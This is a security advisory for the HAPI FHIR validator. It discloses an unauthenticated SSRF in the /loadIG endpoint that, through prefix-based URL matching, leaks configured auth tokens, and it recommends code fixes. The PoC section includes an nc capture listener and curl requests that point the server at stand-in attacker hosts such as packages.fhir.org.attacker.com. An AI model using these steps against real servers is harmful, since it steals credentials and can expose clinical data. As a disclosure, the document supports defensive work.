

hapifhir / org.hl7.fhir.core Public

<> Code Issues 44 Pull requests 23 Actions Projects Wiki Secu

Unauthenticated SSRF via /loadIG Chains with startsWith() Credential Leak for Authentication Token Theft

Critical dotasek published GHSA-vr79-8m62-wh98 4 days ago

Package

ca.uhn.hapi.fhir.org.hl7.fhir.validation (Maven)

Affected versions

< 6.9.4

Patched versions

6.9.4

Description

Summary

The FHIR Validator HTTP service exposes an unauthenticated `/loadIG` endpoint that makes outbound HTTP requests to attacker-controlled URLs. Combined with a `startsWith()` URL prefix matching flaw in the credential provider (`ManagedWebAccessUtils.getServer()`), an attacker can steal authentication tokens (Bearer, Basic, API keys) configured for legitimate FHIR servers by registering a domain that prefix-matches a configured server URL.

Details

Step 1 — SSRF Entry Point (`LoadIGHTTPHandler.java:35-43`):

The `/loadIG` endpoint accepts unauthenticated POST requests with a JSON body containing an `ig` field. The value is passed directly to `IgLoader.loadIg()` with no URL validation or allowlisting. When the value is an HTTP(S) URL, `IgLoader.fetchFromUrlSpecific()` makes an outbound GET request via `ManagedWebAccess.get()`:

```
// LoadIGHTTPHandler.java:43
engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), igContent, true,
```

```
// IgLoader.java:437 (fetchFromUrlSpecific)
HTTPResult res = ManagedWebAccess.get(Arrays.asList("web"), source + "?nocache=" + System
```

Step 2 — Credential Leak via Prefix Matching (ManagedWebAccessUtils.java:14):

When `ManagedWebAccess` creates a `SimpleHttpClient`, it attaches an `authProvider` that uses `startsWith()` to determine whether credentials should be sent:

```
// ManagedWebAccessUtils.java:14
if (url.startsWith(serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getType())
    return serverDetails;
}
```

If the server has `https://packages.fhir.org` configured with a Bearer token, a request to `https://packages.fhir.org.attacker.com/...` matches the prefix, and the token is attached to the request to the attacker's domain.

Step 3 — Redirect Amplification (SimpleHttpClient.java:84-99, 111-118):

`SimpleHttpClient` manually follows redirects with `setInstanceFollowRedirects(false)`. On each redirect hop, `getHttpGetConnection()` calls `setHeaders()` which re-evaluates `authProvider.canProvideHeaders(url)` against the **new URL**. This means even an indirect redirect path can trigger credential leakage.

PoC

Prerequisites: A FHIR Validator HTTP server running with `fhir-settings.json` containing:

```
{
  "servers": [{
    "url": "https://packages.fhir.org",
    "authenticationType": "token",
    "token": "ghp_SecretTokenForFHIRRegistry123"
  }]
}
```

Step 1: Set up attacker credential capture server:

```
# On attacker machine, listen for incoming requests
nc -lp 80 > /tmp/captured_request.txt &
# Register DNS: packages.fhir.org.attacker.com -> attacker IP
```

Step 2: Trigger the SSRF with prefix-matching URL:

```
curl -X POST http://target-validator:8080/loadIG \  
-H "Content-Type: application/json" \  
-d '{"ig": "https://packages.fhir.org.attacker.com/malicious-ig"}'
```



Step 3: Verify credential capture:

```
cat /tmp/captured_request.txt  
# Expected output includes:  
# GET /malicious-ig?nocache=... HTTP/1.1  
# Authorization: Bearer ghp_SecretTokenForFHIRRegistry123  
# Host: packages.fhir.org.attacker.com
```



Redirect variant (if direct prefix match isn't possible):

```
# Attacker server returns: HTTP/1.1 302 Location: https://packages.fhir.org.attacker.com  
curl -X POST http://target-validator:8080/loadIG \  
-H "Content-Type: application/json" \  
-d '{"ig": "https://attacker.com/redirect"}'
```



Impact

- **Credential theft:** Attacker steals Bearer tokens, Basic auth credentials, or API keys for any configured FHIR server
- **Supply chain attack:** Stolen package registry credentials could be used to publish malicious FHIR packages affecting downstream consumers
- **Data breach:** If credentials grant access to protected FHIR endpoints (e.g., clinical data repositories), patient health records could be exposed
- **Scope change (S:C):** The vulnerability in the validator compromises the security of external systems (FHIR registries, package servers) whose credentials are leaked

Recommended Fix

Fix 1 — Proper URL origin comparison in ManagedWebAccessUtils

(ManagedWebAccessUtils.java):

```
public static ServerDetailsPOJO getServer(Iterable<String> serverTypes, String url) {  
    if (serverAuthDetails != null) {  
        for (ServerDetailsPOJO serverDetails : serverAuthDetails) {  
            for (String serverType : serverTypes) {  
                if (urlMatchesOrigin(url, serverDetails.getUrl()) && typesMatch(serverType, serverDetails.getServerType())) {  
                    return serverDetails;  
                }  
            }  
        }  
    }  
}
```



```

    return null;
}

private static boolean urlMatchesOrigin(String requestUrl, String serverUrl) {
    try {
        URL req = new URL(requestUrl);
        URL srv = new URL(serverUrl);
        return req.getProtocol().equals(srv.getProtocol())
            && req.getHost().equals(srv.getHost())
            && req.getPort() == srv.getPort()
            && req.getPath().startsWith(srv.getPath());
    } catch (MalformedURLException e) {
        return false;
    }
}

```

Fix 2 — URL allowlisting in LoadIGHTTPHandler (`LoadIGHTTPHandler.java`):

```

// Add allowlist validation before loading
private static final Set<String> ALLOWED_HOSTS = Set.of(
    "packages.fhir.org", "packages2.fhir.org", "build.fhir.org"
);

private boolean isAllowedSource(String ig) {
    try {
        URL url = new URL(ig);
        return ALLOWED_HOSTS.contains(url.getHost());
    } catch (MalformedURLException e) {
        return false; // Not a URL, could be a package reference
    }
}

```

Severity

Critical 9.3 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	Low
Availability	None

[Learn more about base metrics](#)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

CVE ID

CVE-2026-34361

Weaknesses

▶ CWE-522

Credits



offset

Reporter